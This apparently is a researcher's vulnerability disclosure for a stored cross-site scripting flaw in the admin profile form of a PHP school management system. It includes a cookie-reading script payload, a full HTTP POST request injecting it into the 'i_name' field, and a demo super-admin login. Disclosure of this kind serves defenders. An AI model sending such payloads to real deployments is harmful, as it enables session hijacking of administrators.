wencongzhao Update XSS-1.md History

1 contributor

80 lines (58 sloc) | 2.75 KB

Advanced School Management System v1.0 by itsourcecode.com has Cross-site Scripting (XSS)

Vul_Author: **Congzhao Wen**

Login account: suarez081119@gmail.com/12345 (Super Admin account)

vendor: https://itsourcecode.com/free-projects/php-project/advanced-school-management-system-in-php-with-source-code/

Vulnerability url: ip/school/view/admin_profile.php#

Vulnerability location: /school/index.php

[+] Payload: <script>alert(document.cookie)</script>

Tested on Windows 10, phpStudy

There is an example with alert:

```
POST /school/index.php HTTP/1.1
Host: 10.10.10.134:8000
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefo
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------------------------1688243865244
Content-Length: 1369
Origin: http://10.10.10.134:8000
DNT: 1
Connection: close
Referer: http://10.10.10.134:8000/school/view/admin_profile.php
Cookie: PHPSESSID=vf7g6ffd2s4el0u0gia3elgg14
Upgrade-Insecure-Requests: 1

-----------------------------168824386524487249392944698838
Content-Disposition: form-data; name="fileToUpload"; filename=""
Content-Type: application/octet-stream


-----------------------------168824386524487249392944698838
Content-Disposition: form-data; name="full_name"

Angel Jude Suarez
-----------------------------168824386524487249392944698838
Content-Disposition: form-data; name="i_name"

<script>alert(document.cookie)</script>
-----------------------------168824386524487249392944698838
Content-Disposition: form-data; name="address"

Philippines
-----------------------------168824386524487249392944698838
Content-Disposition: form-data; name="gender"

Male
-----------------------------168824386524487249392944698838
Content-Disposition: form-data; name="email"

suarez081119@gmail.com
-----------------------------168824386524487249392944698838
Content-Disposition: form-data; name="phone"

111-111-1114
-----------------------------168824386524487249392944698838
Content-Disposition: form-data; name="password"

12345
-----------------------------168824386524487249392944698838
Content-Disposition: form-data; name="id"
```

```
1
-----------------------------168824386524487249392944698838
Content-Disposition: form-data; name="do"

update_admin_profile
-----------------------------168824386524487249392944698838--
https://github.com/wencongzhao/bug_report/blob/main/vendors/itsourcecode.com/advance
```